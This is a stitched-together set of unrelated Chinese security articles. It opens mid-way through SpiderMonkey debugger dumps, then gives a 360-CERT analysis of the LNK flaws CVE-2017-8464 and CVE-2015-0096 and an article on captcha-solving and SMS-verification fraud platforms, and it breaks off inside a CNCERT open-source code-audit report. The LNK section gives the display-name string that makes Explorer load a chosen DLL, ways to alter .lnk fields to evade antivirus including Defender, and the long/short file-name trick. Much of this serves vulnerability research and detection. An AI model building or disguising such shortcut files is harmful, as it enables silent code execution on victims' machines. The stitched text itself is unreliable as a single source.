+0x015 mutableFlags : 0 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : (null)
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e63a7e60
0:000> ?? (char*)((JSString*)0x000001fc`e63a7e60)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e68
"another"
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)->parent.value
class js::Shape * 0x000001fc`e63ae880
新的 JS :: Shape 被分配（0x000001e7c24b1150），其父级是前一组形状（0x000001e7c24b1150）。
有点像在链表中添加节点。
### Slots
在上一节中，我们讨论了很多关于属性名称如何存储在内存中的问题。 那属性的值在哪里呢？
为了回答这个问题，我们抛出了我们在调试器中获得的先前 TTD 跟踪，并在第一次调用 Math.atan2 时返回：
Breakpoint 0 hit
Time Travel Position: D454:D
js!js::math_atan2:
00007ff7`76c9e140 56 push rsi
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
因为我们已经 dump 了描述 foo 和 blah 属性的 js :: Shape 对象的过程，所以我们知道它们的属性值分别存储在slot 0 和
slot 1 中。 为了查看这些，我们只是在 js :: NativeObject 之后 dump 内存：
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> dt js::NativeObject 1fce637e1c0
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`7707dac0 js::HeapSlot
0:000> dqs 1fc`e637e1c0
000001fc`e637e1c0 000001fc`e637a520
000001fc`e637e1c8 000001fc`e63ae880
000001fc`e637e1d0 00000000`00000000
000001fc`e637e1d8 00007ff7`7707dac0 js!emptyElementsHeader+0x10
000001fc`e637e1e0 fff88000`00000539 <- foo
000001fc`e637e1e8 fffb01fc`e63a7e40 <- blah
当然，第二个属性是指向 JSString 的另一个 js :: Value，我们也可以 dump 它：
0:000> ?? (char*)((JSString*)0x1fce63a7e40)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e48
"doar-e"
下面是一个描述对象层次结构的图表，以清除任何可能的混淆：
到目前，我想要描述的内容都已经被涵盖的差不多了，它应该足以帮助我们理解接下来的内容。你可以使用此背景检查大多数 JavaScript 对象。我遇到的唯一
“odd-balls” 类型是存储长度属性的 JavaScript 数组，例如在 js :: ObjectElements 对象中; 但这就是它。
0:000> dt js::ObjectElements
+0x000 flags : Uint4B
+0x004 initializedLength : Uint4B
+0x008 capacity : Uint4B
+0x00c length : Uint4B | 社区文章 |
# “震网”三代和二代漏洞技术分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号：B6-2020-040801
报告来源：360-CERT
报告作者：360-CERT
更新日期：2020-04-08
## 0x01 概述
2017年6月份微软补丁发布了一个针对Windows系统处理LNK文件过程中发生的远程代码执行漏洞，通用漏洞编号CVE-2017-8464。
当存在该漏洞的电脑被插上存在漏洞文件的U盘时，不需要任何额外操作，漏洞攻击程序就可以借此完全控制用户的电脑系统。同时，该漏洞也可借由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。
与2015年的CVE-2015-0096上一代相比，CVE-2017-8464利用触发更早，更隐蔽。
早，指的是U盘插入后即触发，而前代需要在U盘插入后浏览到.lnk文件。
隐蔽，指的是本代.lnk文件可以藏在层层（非隐藏的）文件夹中，不需要暴露给受害人见到。
程序层面讲，CVE-2015-0096利用点是在explorer需要渲染.lnk文件图标时，而CVE-2017-8464利用点在于.lnk文件本身被预加载时显示名的解析过程中。
本文中，笔者将对这两个漏洞从漏洞的复现和反漏洞技术检测的防御角度进行剖析。本文是笔者在2017年6月份，没有任何PoC的情况下作的一个探索。
## 0x02 CVE-2017-8464原理
CVE-2017-8464利用能够成功实现基于以下3点：
1. 对控制面板对象的显示名解析未严格认证此对象是否为已注册的控制面板应用。
2. 恶意构造的.lnk文件能够实现使explorer注册一个临时控制面板应用对象。
3. 如上.lnk文件能够将步骤2中注册的临时对象的随机GUID值传输至步骤1所述之处进行解析。
本次利用原理就是由于在解码特殊文件夹时，能够有机会按上述3点完成触发。
细节见0x02节。
（显示名解析，参见IShellFolder:: ParseDisplayName， 以及shell对外的接口SHParseDisplayName。）
## 0x03 还原
首先，猜下问题点出现在 shell32.dll 中。
通过diff比对分析，可以得知问题点有极大概率是存在于函数 `CControlPanelFolder::_GetPidlFromAppletId`
中的如下代码：
易知 `CControlPanelFolder::_GetPidlFromAppletId` 的上层函数是
`CControlPanelFolder::ParseDisplayName`。
看名字大约理解为解析显示名，这很容易关联到shell提供的接口
`SHParseDisplayName`，查MSDN可知此函数的功能是把shell名字空间对象的显示名（字符串）转换成PIDL（项目标识符列表的指针，我更喜欢称其为对象串烧）。
（那么PIDL大约长这样子：2-bytes length, (length-2) bytes contents, 2-bytes length,
(length-2) bytes contents, …, 2-bytes length(=0)。实例：`04 00 41 41 03 00 41 00
00` ）
`shell32.dll` 中调用 `SHParseDisplayName` 的地方有很多，先验证下从 `SHParseDisplayName`
能否连通到目标 `CControlPanelFolder::ParseDisplayName`。（另外 shell32里还有个
`ParseDisplayNameChild` 效用也是差不多）
建立一个例子小程序工程，代码大概如下：
至于填充names的素材，网上可以搜索到很多，注册表里也容易找到不少：
* `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace`
* `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace`
* `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions`
这个地方似乎有不错的货源：<https://wikileaks.org/ciav7p1/cms/page_13762807.html>
调试发现类似这样的名字可以满足要求：
`L"::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\\C:\\stupid.dll"`
如第一张图片中，把想要加载的动态库路径传入到 `CPL_LoadCPLModule` 就成功了。但这里，虽然从 `SHParseDisplayName`
出发，就能把文件路径送到 `CControlPanelFolder::ParseDisplayName ->
CControlPanelFolder::_GetPidlFromAppletId`。但
`CControlPanelFolder::_GetPidlFromAppletId` 之前还有
`CControlPanelFolder::_GetAppletPathForTemporaryAppId` 这一头拦路虎：
这段代码的大概意思是要检查一下传过来的名字是否在它的临时应用识别列表里面，若是则返个对应的路径名回来（显示名<->实际路径）。
跟一下，发现它要对比的检查项，是一个GUID。
通过 `CControlPanelFolder::s_dsaTemporaryAppId` 这个标识符，容易得知，这个GUID是仅在
`CControlPanelFolder::_GetTemporaryAppIdForApplet` 中随机生成的：
这就尴尬了，也就是说，我们用 `SHParseDisplayName`
把动态库路径直接传到这里是不行的。我们需要先去触发`CControlPanelFolder::_GetTemporaryAppIdForApplet`函数，然后再把GUID替换掉动态库路径，再传过来。
就是说，如果我们先调用某个函数以参数`L"::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\\C:\\stupid.dll"`
触发
`CControlPanelFolder::_GetTemporaryAppIdForApplet`，并从explorer内存中”偷”到那个随机GUID。再以
`L"::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\\{{GUID}}"`
为参数调用 `SHParseDisplayName`，就可以成功加载stupid.dll（如果C盘根目录真的有）了。
好吧，那么就来看看哪个函数可以先行触发`CControlPanelFolder::_GetTemporaryAppIdForApplet`
来添加随机GUID。
容易得到它的上层函数是 `CControlPanelFolder::GetDetailsEx`。
在之前的分析过程中，有个猜测： `CRegFolder` 似乎是一系列 `CxxxFolder` 类的分发类，可以在
`CControlPanelFolder::GetDetailsEx` 和 `CRegFolder` 同名类函数上下断，搞几下就能得到一票撞过来的断点。
栈回溯中最惹眼的显然就是DisplayNameOfW了。
深入一下，发现它确实就是我们要找的火鸡！（或者SHGetNameAndFlagsW？先不关注）
那么，现在如果能结合 `DisplayNameOfW` 和
`SHParseDisplayName`，应该就能实现我们的目标，把.lnk中指定的.dll跑起来了。
不妨写个小程序验证一下是否属实：
其中ucIDList就是`L"::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\\C:\\stupid.dll"`
转换成PIDL的样子。
`DisplayNameOfW` 参数 0x8001 表示返回目标路径，0x8000 表示返回全路径。
跑起来有点小意外，stupid并没有被加载。
原因是加载之前有一段代码检测 `PSGetNameFromPropertyKey(&PKEY_Software_AppId,
&ppszCanonicalName);` 是否成功。在explorer里这句是成功的，自己的小程序load shell32.dll跑则失败。
好吧，这不是重点。那么把这段程序load到explorer里去跑下，果然成功了，stupid.dll被加载。或者在
`PSGetNameFromPropertyKey` 下断，把返回值改为0，也可以成功跑出stupid。
至此，我们知道，只要能来一发 `DisplayNameOfW` \+ `SHParseDisplayName` 连续技，就可以成功利用。
接下来就是寻找哪里可以触发连续技。
`DisplayNameOfW`的调用点也是蛮多，排除掉一眼看上去就不靠谱的，再把二眼看上去犹疑的踢到次级优先梯队，还剩下这么些需要深入排查的：
然而逐一鉴定后，发现一个都不好使，再把第二梯队拉出来溜一圈，依然不好使。
那么，再看看有关联但之前暂不关注的`SHGetNameAndFlagsW`吧，另外又一个功能也差不多的`DisplayNameOfAsString`
也一并进入视野（在分析`CShellLink::_ResolveIDList`时，这里面就能看到`DisplayNameOfAsString`，也有
`ParseDisplayNameChild`。这里面花了很大功夫，然而这里的`GetAttributesWithFallback`
函数要求满足属性值存在0x40000000位这个条件无法通过。最后不得不转移阵地。另外其实即使这里能跑通，这个函数也不是插入U盘就能立刻触发的，还是需要一定操作。）。
`SHGetNameAndFlagsW`，这个函数调用点很多，又花了很多时间，然而并没有惊喜。
好在`DisplayNameOfAsString`的调用点不多，才十多个，并且终于在这里见到了彩头。
可以回溯了：
DisplayNameOfAsString <- ReparseRelativeIDList <- TranslateAliasWithEvent <- TranslateAlias<- CShellLink::_DecodeSpecialFolder <- CShellLink::_LoadFromStream <- CShellLink::Load
就是说，加载 .lnk 文件即触发！
一如既往，再写个小程序测试一下。如料触发：
接下来，按 `CShellLink::_LoadFromStream` 和
`CShellLink::_DecodeSpecialFolder`中的判断，制作出 .lnk 文件，就比较轻松愉快了。
## 0x04 CVE-2017-8464变形
研究发现，目前多数安全软件对利用的检测还不够完善，几种变形手段都可以逃过包括微软 Win10 Defender 在内的安全软件的检测。
1、 LinkFlag域变形
可以添加和改变各bit位包括unused位来逃避固定值检测。
事实上，所有高依赖此域的检测，都是可以被绕过的。
2、 LinkTargetIDList域变形
::{20D04FE0-3AEA-1069-A2D8-08002B30309D}（我的电脑）由`SHParseDisplayName`解析对应的 PIDL
内容是 `0x14, 0x00, 0x1f,0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10,
0xa2, 0xd8, 0x08,0x00, 0x2b, 0x30, 0x30, 0x9d`
因此 .lnk 利用文件LinkInfo域通常第一项IDList项就是这个值，但其实第[3]号字节值是可以改的，并且不影响结果。
小程序一试便知：
同理，第二段 ::{21EC2020-3AEA-1069-A2DD-08002B30309D}（控制面板项）对应的PIDL内容也可以这样变形。
这样，所有精确检测LinkInfo域的安全软件也被绕过了。
3、 SpecialFolderDataBlock域变形
研究发现有的安全软件会检查SpecialFolderID值，然而这个值也是可以变的。
4、 去掉LinkTargetIDList
研究发现，LinkFlag bit0 位清0，这让所有以此为必要条件的安全软件都失效了。但这个方法在Vista及更高版本的Windows系统才有效。
## 0x05 CVE-2017-8464检测
那么，安全软件应该如何检测？
1、 对PIDL的检测要mask掉特殊项的[3]号字节。
更为稳妥的方法是调用 `DisplayNameOf` 检测其结果（相当于检查DisplayName，也就是那个”::{…..}” 字符串）。
2、 LinkFlag域只看bit0和bit7位。bit0位为1检查`LinkTargetIDList`，为0检查
`VistaAndAboveIDListDataBlock`。
## 0x06 关于CVE-2015-0096
简单回顾下前代CVE-2015-0096利用：
与CVE-2015-0096比较，CVE-2017-8464 的分析过程没有特别难点，就作业量而言，CVE-2015-0096
要小很多，但需要灵光一现，巧用一长名一短名双文件和恰好的切分过3处检测。
问题在这里：
`CControlPanelFolder::GetUIObjectOf`函数中这段处理不当，Start长度限定在0x104，但v15为0x220，在`ControlExtractIcon_CreateInstance`中进行`CCtrlExtIconBase::CCtrlExtIconBase`初始化时又会截断为0x104，并且里面没有判断返回值。
意味着v14以%d输入的 “-1″值，我们可以通过增加
Start的长度到0x101，使得`CCtrlExtIconBase`初始化对象名最终尾部变成”xxxxx,-“的样子。
但这里的`CControlPanelFolder::GetModuleMapped`函数判断了大长名文件的存在性，所以这个文件一定要真的存在才行。
这样就能通过 `CCtrlExtIconBase::_GetIconLocationW` 中的检测，因为StrToIntW(L”-“) =
0，从而调用到`CPL_FindCPLInfo`：
接着，在`CPL_FindCPLInfo -> CPL_ParseCommandLine -> CPL_ParseToSeparator`
中我们又可以将上面使用过的大长文件名截断为短文件名，因为 `CPL_ParseToSeparator` 中除了使用”，”作为分割符，也是包含了空格符。
切成短名字，是为了过 `CPL_LoadCPLModule` 函数中的：
这里有返回值检查，超长的话就返回了。
我们的0x101长度名字，是不能在尾部附加一串”.manifest”的。
过了它，我们的短名dll（如果存在的话）就真的被加载起来了。
所以，这个利用需要用到一长名一短名双文件技巧。
长名文件任意内容，0字节都可以，只是被检测一下存在性。
比如：
3.dll
3333333300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000.000
（注意dll后面有个空格）
短名文件（真正加载的就是它了）：3.dll
.lnk里指定那个长名字就好了。
Hf，全文完！ | 社区文章 |
## **简介**
互联网业务的飞速发展，日渐渗透人类的生活，对经济、文化、社会产生巨大的影响，同时互联网业务安全也日趋重要。如同网络通信的基础安全设施防火墙，
**互联网业务安全也有其基础安全设施－－图片验证码和短信验证码**
。在互联网业务中，广泛使用图形验证码用于区分人类和机器，使用短信验证码过滤低价值用户及提供二次校验功能。
作为互联网业务的基础安全设施，图片验证码和短信验证也面临众多的挑战。
**此前我们通过[《验证码的前世今生（前世篇）》](https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.WTMwVx&articleid=548)和[《验证码的前世今生（今生篇）》](https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.WTMwVx&articleid=582)了解了验证码的发展及演变，原理及优缺点。今天本文将带你走近互联网业务眼前的威胁——图片打码平台和短信打码平台。**我们以如下两个场景简单说明下普通打码平台以及手机打码平台：
#### **场景一：批量登陆12306网站，并进行购买行为，但验证码不能自动识别。**
12306的验证码比较复杂，程序较难识别。这时候就出现了普通验证码的打码平台，程序将验证码传给打码平台的识别接口，打码平台将验证码发给后端的“佣工”进行识别，并获取识别结果。这样基于此类的人工打码平台，即可实现程序的自动化。
#### **场景二：注册某购物平台，但其需要填写手机号和收到的验证码才可注册，如何进行批量机器注册？**
这时候就出现了手机打码平台，该平台提供大量的手机号，并能够发送和接收短信。这样只需调用手机打码平台相关接口，获取手机号并获取短信内容即可进行批量注册。
最后我们将会简单的阐述面对这些威胁新的解决之道。
## **一、普通打码平台**
### **一）介绍**
现在很多简单的字符验证码已经不能够有效阻挡机器行为，使用简单的OCR识别工具即可进行识别，稍微复杂的可以结合机器学习等进行高准确率的识别。
普通的字符验证码很容易被识别，因而又产生了一些较复杂的验证码，比如如下一些较难通过机器进行识别的。
所以若想进行恶意注册或批量的机器行为则需要绕过此类的高难度验证码。针对这种需求，人工打码平台就产生了，其通过组织真实的人来进行识别，并提交验证结果。
### **二）运行流程图**
说明：比如现在羊毛党要去某网站刷活动优惠券，但该网站有较复杂的图像验证码。通常羊毛党会在打码平台注册账号并充值，并通过打码平台提供的api接口，提交验证码识别。打码平台将验证码分发到各个佣工的客户端里，获取佣工的识别结果，并最终反馈给羊毛党。
#### **1、网赚平台：**
很多打码平台需要跟网赚平台进行合作，因为网赚平台的用户量比较大。这种每天输入一些验证码就能赚钱的平台是很多小白用户比较喜欢的。我们查看一叫做“有赚网”的网赚平台，其发布各种任务供用户参与，并通过金币的形式给用户发放，金币累积一定数量后可进行提现。网赚平台会设有专门的打码模块，里面列举了合作的打码平台。如图
点击其中一个“知码打码”的打码平台项目，如图
点击获取工号和密码后，然后下载提供的软件，登陆后简单测试通过后，即可收到打码平台推送过来的验证码，如图
佣工可以勾选想要接收的验证码复杂度，有选择题、填空题、鼠标点击类型等等。同时通过软件可以查看该平台积压的验证码的数量，如图为45个，用户输入结果后会很快刷新到下一个验证码。每种验证码的积分不同，验证码难度较高的积分较大些，同时网赚平台夜间工作给的积分也会多，所以我们可以看到打码平台的夜间服务费用也会高一些。我们粗略计算下这种网赚的收益，按官方说明10000个金币可兑换1元的标准，我们按一个验证码平均可可以获得100个金币计算，则打100个验证码即可获得1元，每天打10000个验证码才能获得100元。
#### **2、普通打码平台**
打码平台提供多种类型的验证码，有正常的普通字符验证码、有选择题、算术题、以及其他的特殊类型的。每种验证码的计费类型不同，我们查看某打码平台的价格类目表：
其中每种验证码的价格不同，该平台冲10元可获得25000快豆。其中最普通的验证码需要10个快豆，也就是说10元可以识别2500个普通验证码，我们查看下12306的图形验证码识别价格为60快豆，即10元可以识别400多个验证码。同时打码平台会以api的形式供用户使用，其只需传入账号密码以及验证码所属类型、验证码文件即可进行识别，如图
#### **3、开发者**
每个打码平台都会有很多开发者，开发者通过打码平台提供的sdk，进行开发软件。比如针对12306编写一个抢票软件，并内接该打码平台，那么羊毛党在使用该软件时只需填入打码平台的账号密码即可使用。同时开发者可以拿到提成，提成一般较高。
#### **4、羊毛党**
**什么是羊毛党？**
有选择地参与活动，从而以相对较低成本甚至零成本换取物质上的实惠。这一行为被称为“薅羊毛”，而关注与热衷于“薅羊毛”的群体就被称作“羊毛党”。早前，“羊毛党”们主要活跃在O2O平台或电商平台。另外随着2015年互联网金融的发展，一些网贷平台为吸引投资者常推出一些收益丰厚的活动，如注册认证奖励、充值返现、投标返利等，催生了以此寄生的投资群体，他们也被称为P2P“羊毛党”。当然，使用打码平台的不一定就是羊毛党，还有可能是一些抢票的“黄牛党”或者黑色产业的欺诈者。
### **三）利益链**
说明：佣工通过自身劳动，通过网赚平台变现，获得利益；网赚平台与打码平台进行合作，并有利益分成。打码平台将服务进行封装，提供给羊毛党。打码平台的开发者通过开发软件供羊毛党使用。同时羊毛党通过批量的注册、活动优惠等方式从网站进行获利。
## **二、手机打码平台**
### **一）介绍**
短信验证码在互联网业务中用于过滤低价值的用户，从而将服务推送给目标用户。这是基于手机号基本实现实名认证，每个人拥有的手机号也是有限制的前提。似乎通过手机短信验证就能够防止垃圾注册，筛选出真正有价值的客户。然而黑产针对基于手机号注册的场景，推出手机打码平台。手机打码平台囤积大量的手机卡提供短信收发的服务。实际调查中发现大型手机打码平台有几百万手机卡，小型也有几万的手机卡。
### **二）运行流程图**
手机打码平台的流程图如下，主要有两个角色，一个是平台的普通用户通常为羊毛党、一个是平台的卡商。
说明：手机打码平台会提供各种项目的接口，比如xxx账号注册、xxx绑定手机等。羊毛党只需要调用接口，获取某个项目可用的手机号，并将该手机号填入目标网站，然后调用接口获得短信内容即可。
#### **1、手机打码平台**
手机打码平台提供各种项目，我们查看下某一手机打码平台的项目列表，如图
每个项目的价格不同，像p2p金融类的可能价格较高，其他的普通的比如115网盘手机绑定价格较便宜，一个手机号只需1毛。接收短信流程很简单，查看下该平台的官方API接口说明，如图
我们只需要调用接口，获取某个项目的手机号，填入网站，并调用接口获取短信内容即可。同时打码平台通常还会提供发送短信的接口、接收语音验证码等功能，如下为某一手机打码平台发送短信的接口
#### **2、卡商**
卡商是指拥有大量手机卡的用户，其通过猫池并通过打码平台提供的软件，提供相关项目的短信收发服务。卡商的手机号被使用一次，则可获得相应的收入，如下为一打码平台的卡商客户端，卡商将插有大量手机卡的猫池接入电脑，并选择需要做的项目即可。
其中猫池可以理解为有通信模块，可以收发短信，可以插很多手机卡的设备。一般有8口、16口的，多的有128口的，即可以同时插128张手机卡。猫池有多种类型，现在有很多猫池是支持3G、4G的，如下为插有手机卡的猫池图
卡商通常会有大量的卡，用来做手机打码只是其中的一个业务,还有很多是用来刷钻、刷会员、刷流量等。市场价格一般在10元左右一张，且这些卡有很多也是经过实名认证的，且有很多属于0月租、0余额的特殊卡。当然可以发送短信的则是有一定余额的。我们查看下一售卖手机卡的卡商发的广告，如图
关于这种大量的卡的来源，其中一手机打码平台的卡商透露了如下信息
同时这些卡商会有其他的业务比如超级会员、黄钻、绿钻等，查看一打码平台卡商发的信息，如图
#### **3、羊毛党**
我们查看一薅羊毛的群，里面每天会更新一些活动信息
当然发出来的都是一些小利润的，一些较大利润的羊毛党们都不会轻易透露，当然其中也有很多属于灰色或黑色产业。在一些薅羊毛的群里，通常会伴有身份信息的售卖，在某一群里查看到售卖正反身份证图片加手持身份证的信息，只需2毛一份，如图
### **三）利益链**
**说明：**
羊毛党通过手机打码平台提供的手机号去网站批量注册，获得小号，再利用这些小号批量获取优惠。比如uber的推荐用户注册送优惠券，还有一些网站的新用户推荐注册送话费等等来获利。打码平台从提供手机打码服务里进行收费，并与对接的卡商进行利益分成，平台自己也会有一些手机卡。同时卡商也是有多种业务，一种是专门做打码平台的业务，其他的还有通过售卖卡给羊毛党，用来做刷超级会员、刷钻等业务进行获利。
## **三、如何防控**
针对普通打码平台以及手机打码平台如何进行防控。采用新型的验证码技术是一种方式，构建手机打码平台黑名单库也是一种方式。但基于构建的用户手机号信誉体系以及用户设备信誉体系，结合众多数据构建自己的安全风控系统才更为重要。
### **一）新型验证码**
替换传统验证码，采用新型的验证码。传统的验证码已经很难去防止机器行为，因而出现了一些基于用户行为的新型验证码。新型验证码最大的特点是不再基于知识进行人机判断，而是基于人类固有的生物特征以及操作的环境信息综合决策，来判断是人类还是机器。
**比如Google的reCaptcha**
**以及阿里巴巴的NoCaptcha**
当然这也并不代表此类验证码不能被绕过，今年的Asia Blackhat上公布了一种破解Google
reCaptcha的思路，具体可以参考[[相关paper]](https://www.blackhat.com/docs/asia-16/materials/asia-16-Sivakorn-Im-Not-a-Human-Breaking-the-Google-reCAPTCHA.pdf?spm=a313e.7916648.0.0.WTMwVx&file=asia-16-Sivakorn-Im-Not-a-Human-Breaking-the-Google-reCAPTCHA.pdf)
### **二）手机信誉库**
针对短信打码平台，可以回归短信验证码的本质需求，即过滤互联网中低价值的用户。而由于手机号并非完全实名制，事实上获取一个手机号的成本并不高，所以基于手机号并不能有效筛选出真正的高价值客户。尽管手机号本身获取成本不高，但是对于大多数普通互联网用户并不频繁更换手机号，所以可以基于手机号对应的行为来建立基于手机的征信库，从而基于手机号的信誉实现筛选出高价值客户功能，而非单一的依赖用户是否拥有一个手机号。
### **三）风控体系**
对于普通的网站而言，建立自己的用户信誉体系尤为重要。基于用户的设备信誉、用户行为等信息进行防控。
其中对于p2p金融类的网站而言，构建自己的安全风控系统尤为重要。金融类的较为敏感，对于用户的身份应当做强的安全校验，比如进行银行卡绑定的身份校验等。
### **四）其他**
现在的手机已经需要进行实名认证，对于大量手机卡滥用会有一定的效果。但是在调查中发现其中还是有大量的特殊卡，且都经过实名认证或者是进行了企业认证的卡。另外对于手机打码平台，国家已经出台了相关政策，认定手机打码平台属于违法行为，因而这些手机打码平台也都转为地下。
####
**作者：Ano_Tom@阿里安全，更多安全类文章，请访问[阿里聚安全博客](https://jaq.alibaba.com/community/index.htm?spm=a313e.7916648.0.0.WTMwVx)** | 社区文章 |
# 开源软件源代码安全缺陷分析报告
##### 译文声明
本文是翻译文章，文章来源：cncert
译文仅供参考，具体内容表达以及含义原文为准。
>
> 近日，CNCERT发布了第二期《开源软件代码安全缺陷分析报告》。本期报告持续聚焦国内知名互联网公司的软件安全开发现状，通过检测公司旗下多款开源软件产品的安全缺陷，评估各公司的代码安全控制情况。360代码卫士团队为本期报告提供了技术支持。
>
> 以下是报告全文：
## 开源软件源代码安全缺陷分析报告
### —— **探秘国内知名互联网公司产品安全状况第二期**
#### 1、概述
随着软件技术飞速发展，开源软件已在全球范围内得到了广泛应用。数据显示，从2012年起，已有超过80%的商业软件使用开源软件。开源软件的代码一旦存在安全问题，必将造成广泛、严重的影响。为了解开源软件的安全情况，CNCERT
持续对广泛使用的知名开源软件进行源代码安全缺陷分析，并发布季度安全缺陷分析报告。
本期报告聚焦国内知名互联网公司的软件安全开发现状，通过检测公司旗下多款开源软件产品的安全缺陷，评估各公司的代码安全控制情况。针对国内知名互联网公司，选取关注度高的开源项目，结合缺陷扫描工具和人工审计的结果，对各公司的项目安全性进行评比。
#### 2、被测开源软件
本期报告聚焦国内知名互联网公司和 ICT
公司：华为、小米、搜狐、美团、大众点评，综合考虑用户数量、受关注程度等情况，选取了这些公司旗下的20款具有代表性的开源项目，表1列出了本次被测的开源软件项目的概况。
表1 被测开源软件项目概览
#### 3、测试内容
**3.1、安全缺陷种类**
本次测试涵盖各类常见安全缺陷。根据缺陷形成的原因、被利用的可能性、造成的危害程度和解决的难度等因素进行综合考虑，可以将常见的安全缺陷分为八类：
**1、输入验证与表示** **（Input Validation and Representation）**
输入验证与表示问题通常是由特殊字符、编码和数字表示所引起的，这类问题的发生是由于对输入的信任所造成的。这些问题包括：缓冲区溢出、跨站脚本、SQL注入、命令注入等。
**2、API误用（API Abuse)
**
API是调用者与被调用者之间的一个约定，大多数的API误用是由于调用者没有理解约定的目的所造成的。当使用API不当时，也会引发安全问题。
**3、安全特性（Security Features）**
该类别主要包含认证、访问控制、机密性、密码使用和特权管理等方面的缺陷。
**4、时间和状态（Time and State）**
分布式计算与时间和状态有关。线程和进程之间的交互及执行任务的时间顺序往往由共享的状态决定，如信号量、变量、文件系统等。与分布式计算相关的缺陷包括竞态条件、阻塞误用等。
**5、错误和异常处理缺陷（Errors）**
这类缺陷与错误和异常处理有关，最常见的一种缺陷是没有恰当的处理错误（或者没有处理错误）从而导致程序运行意外终止，另一种缺陷是产生的错误给潜在的攻击者提供了过多信息。
**6、代码质量问题（Code Quality）**
低劣的代码质量会导致不可预测的行为。对于攻击者而言，低劣的代码使他们可以以意想不到的方式威胁系统。常见的该类别缺陷包括死代码、空指针解引用、资源泄漏等。
**7、封装和隐藏缺陷（Encapsulation）**
合理的封装意味着区分校验过和未经检验的数据，区分不同用户的数据，或区分用户能看到和不能看到的数据等。常见的缺陷包括隐藏域、信息泄漏、跨站请求伪造等。
**8、代码运行环境的缺陷（Environment）**
该类缺陷是源代码之外的问题，例如运行环境配置问题、敏感信息管理问题等，它们对产品的安全仍然是至关重要的。
前七类缺陷与源代码中的安全缺陷相关，它们可以成为恶意攻击的目标，一旦被利用会造成信息泄露、权限提升、命令执行等严重后果。最后一类缺陷描述实际代码之外的安全问题，它们容易造成软件的运行异常、数据丢失等严重问题。
**3.2、安全缺陷级别**
我们将源代码的安全问题分为三种级别：高危（High）、中等（Medium）和低（Low）。衡量级别的标准包括两个维度，置信程度（confidence）和严重程度（severity）。置信程度是指发现的问题是否准确的可能性，比如将每个strcpy函数调用都标记成缓冲区溢出缺陷的可信程度很低。严重程度是指假设测试技术真实可信的情况下检出问题的严重性，比如缓冲区溢出通常是比变量未初始化更严重的安全问题。将这两个因素综合起来可以准确的为安全问题划分级别，如图1所示。
图1 缺陷级别与严重程度、置信程度的关系
### 4、开源软件项目的安全缺陷情况
本报告仅针对检出的高危、中危缺陷进行统计和分析。本部分首先展示从被测项目中检出安全缺陷的数量，并由此对国内互联网公司的产品安全性进行比较；然后进一步讨论各公司被测项目中安全缺陷的分布情况，了解各公司出现较多的缺陷类型；最后结合上一期报告中国外互联网公司产品安全性评估数据，对国内外互联网公司的产品安全情况展开对比。
#### **4.1、安全缺陷情况概览**
本部分展示被测项目查出缺陷的数量，由此对被测项目的安全性进行大致的评估。图2展示了各个项目高危、中危缺陷的数量，并按照高危缺陷数量对项目进行了排序，图中用蓝色折线图展示了每千行包含缺陷数。
在本次被测软件中，华为的软件OpenApi_Windows_Java（通过调用接口对存储资源进行管理）不存在高危缺陷，同时中危缺陷数量也较少，软件安全质量相对较好。小米的软件LuckyMoneyTool（抢红包）虽然也不存在高危缺陷，中危缺陷数量也少，但是由于软件代码行数过少，不具备一定的统计意义。
华为的物联网北向应用GUI程序IoT_OceanConnect在本次被测的20款软件中高危缺陷居多。在59个高危缺陷中，存在35个http响应截断问题，可能导致攻击者注入自定义的http头，存在10个代码质量问题（用户信息未得到充分保护），存在14个http参数污染的问题
。
大众点评的三款开源软件，cat、pigeon也包含了数量较多的高危缺陷。在两款软件总计107个高危缺陷中，除包括跨站脚本（21个）、http响应截断（12个）、不安全的随机数（10个）等常见缺陷外，还包括流资源未释放，API误用，空引用等安全缺陷。
****
图2 开源软件项目缺陷情况
中高危缺陷总数最多的是来自大众点评的数据访问中间件zebra，总计203个高中危缺陷中包含142个数据库资源未释放，主要是程序创建数据库对象资源后未进行合理释放，导致攻击者可通过数据库连接池耗尽的方式发起拒绝服务攻击。
考虑到项目的绝对缺陷数量可能与项目大小相关，因此本报告计算了每千行缺陷数，用该数据反映缺陷在项目中的分布密度。根据该数据，代码安全性最好的前5个项目依次是华为的eSDK_FC_SDK_Java（0.07）,搜狐的sohuTV（0.07）、PushCloud（0.11），美团的SQLAdvisor（0.12）和大众点评的cat（0.14）。而缺陷分布密度相对较高的项目是华为的IoT_OceanConnect（10.73）、eSDK_SSO（3.52）,大众点评的zebra（4.53）、dianping_open_sdk(2.73)和小米的Lucky
